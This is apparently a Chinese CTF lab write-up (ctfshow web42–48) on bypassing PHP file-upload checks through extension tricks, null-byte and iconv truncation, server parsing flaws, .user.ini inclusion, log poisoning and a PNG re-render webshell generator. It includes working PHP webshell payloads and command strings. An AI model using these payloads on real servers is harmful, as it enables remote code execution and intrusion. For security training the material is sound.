目录
1 php的文件上传绕过 黑名单绕过
2 php文件上传的00截断
3 iconv字符转换异常后造成了字符截断
4 文件后缀是白名单的时候的绕过
web服务器的解析漏洞绕过
5.高级文件上传绕过
1 .htaccess nginx.htaccess
2 服务端内容检测
3 配合伪协议来绕过
4.配合日志包含绕过
5 上传html来xss 执行跨站脚本
6 getimagesize函数绕过
7 png二次渲染绕过
8 jpg二次渲染绕过
9 phar文件上传绕过
1 php的文件上传绕过 黑名单绕过
后缀替换为空时,我们通过提交 1.pphphp 替换php为空后,得到1.php 成功写入木马
php3 php5 phps phtml
php后缀替换为txt时,我们无法双写绕过,1.pphphp 1.ptxthp
例题1:web42
先随便上传一个马子
发现php后缀被替换为空
尝试双写绕过
访问/upload/yjh.php
成功写入,下略
2 php文件上传的00截断
hello world
hello空格world\n\00
123.php 明显不让直接上传
123.php%00.jpg 那么后台判断的时候,取最后一个点后面的字符作为后缀 jpg 看起来是合法的文件名称
./upload/123.php%00.jpg -> ./upload/123.php
00字符截断需要的版本
php版本小于5.3.4 而最新的php版本已经达到8.1
java版本小于7u40,而最新的java版本已经达到20以上
3 iconv字符转换异常后造成了字符截断
php在文件上传场景下的文件名字符集转换时,可能出现截断问题
utf-8字符集 默认的字符编码范围的是0x00-0x7f
iconv转换的字符不在上面这个范围之内,低版本的php会报异常,报了异常以后,后续字符不再处理
就会造成截断问题
123.php%df.jpg 123.php
php版本低于5.4才可以使用
4 文件后缀是白名单的时候的绕过
白名单:只准上传这几个后缀 因为匹配的内容少 所以限制的范围就大
黑名单:不准上传这几个后缀 因为匹配的内容多 所以限制的范围就小 仅限于自己制定的几个,除了这几个,其他都行
web服务器的解析漏洞绕过
apache
a 多后缀解析漏洞 当我们上传apache不认识的后缀时,apahce会继续往前找后缀,找到认识的就解析执行
123.txt.ctfshow 123.txt 文本文档形式解析
123.php.ctfshow 123.php 就交给中间件处理php脚本
b ImageMagic组件白名单绕过
目标主机安装了这个漏洞版本的ImageMagic插件 <=3.3.0
在php.ini中启用了这个插件
通过了php new Imageick 对象的方式来处理图片时
且 php版本大于 5.4时
才可以使用,上传特定的svg图片,来实现组件的缺陷导致任意代码执行
nginx 基于错误的nginx配置 和 php-fpm配置,当我们访问 123.txt/123.php
cgi.fix_pathinfo 默认开启 123.txt/123.php 当123.php不存在时,会找/前面的文件进行php解析,这时候,就成功解析了123.txt为php脚本了
iis Windows下使用 iis6.0版本中,如果解析的目录名字为 xxx.asp 那么里面的所有文件,都会按照asp来解析 123.txt WindowsXP Windows Server 2003
例题2:web43
随便上传一个文件
后缀白名单txt
抓个包看下响应头,发现是nginx
这里利用nginx解析漏洞
先上传一个yjh3.txt
内容<?php @eval($_POST['cmd']);?>
上传成功,访问/upload/yjh3.txt/suibian.php
成功访问
post传:cmd=system('tac /f*');
5.高级文件上传绕过
1 .htaccess nginx.htaccess
php.ini
虚拟主机时代 一个物理服务器,里面可能存放几十上百个网站 每个网站,一个目录
A 网站 需要这样的php.ini配置
B 网站 却需要那样的php.ini配置
C 网站 又需要另外的php.ini配置
总的php.ini不动,A B C 3个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录
自定义配置文件 .htaccess nginx.htaccess
在nginx 下,默认使用.user.ini 配置文件来进行php的配置
使用
auto_append_file=123.txt 来让任意的php文件包含123.txt,执行里面的php代码
例题3:web44
抓包发现是nginx,考虑用.user.ini
.user.ini
GIF89a
auto_prepend_file=yjh3.txt
yjh3.txt
<?php eval($_POST['cmd']);?>
最后在index.php中post:cmd=system('tac /f*');
略
(本质是文件上传配合文件包含实现rce的效果)
2 服务端内容检测
不局限检测文件名,还会检测文件的后缀 文件的内容
<?php system eval $_POST
二分法确定出被检测的关键字,使用替代语法绕过
例题4:web45
在上一题基础上还加了个文件内容检测
随便上传一个txt文件,回显内容非法
二分法多试几次修改成<?=eval($_COOKIE[1]);
因为cookie中如;的一些特殊字符不能出现
所以最终payload:
1=eval(base64_decode('c3lzdGVtKCd0YWMgL2YqJyk7'))?>
3 配合伪协议来绕过
例题5:web46
这题真是惊掉下巴了,还有这种姿势hhh
.user.ini内容
抓包,传post
真乃神技也 ()
4.配合日志包含绕过
例题6:web47
同格局打开
直接UA写马
<?php system('tac /f*');?>
5 上传html来xss 执行跨站脚本
这个之后展开来讲,先按下不表
6 getimagesize函数绕过
getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传
XBM 格式图片
#define %s %d 这种形式,就认为时XBM图片的高或者宽
例题7:web48
这题用web47的payload也可以通杀(因为自己有加GIF89a的好习惯)
当然也可以这样写.user.ini
注意:如果是apache的.htaccess
则不能直接加GIF89a,否则不能解析,此时必须要#define来绕过
7 png二次渲染绕过
正常做法:move_uploaded_file 方式移动我们上传的临时文件到上传目录去
二次渲染做法:通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片 里面的php代码就会被清洗掉
所以,我们需要使用特殊的方式,来构造我们的图片
贴一段生成脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
生成图片,再提交,发现存在一个文件包含,那得了,直接rce
(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)
拿到flag
8 jpg二次渲染绕过
使用专用图来生成jpg木马,实现经过二次渲染后,我们的恶意代码,依然能够保留在图片中,通过文件包含,执行里面的php代码
9 phar文件上传绕过
之前文章有总结过,不多说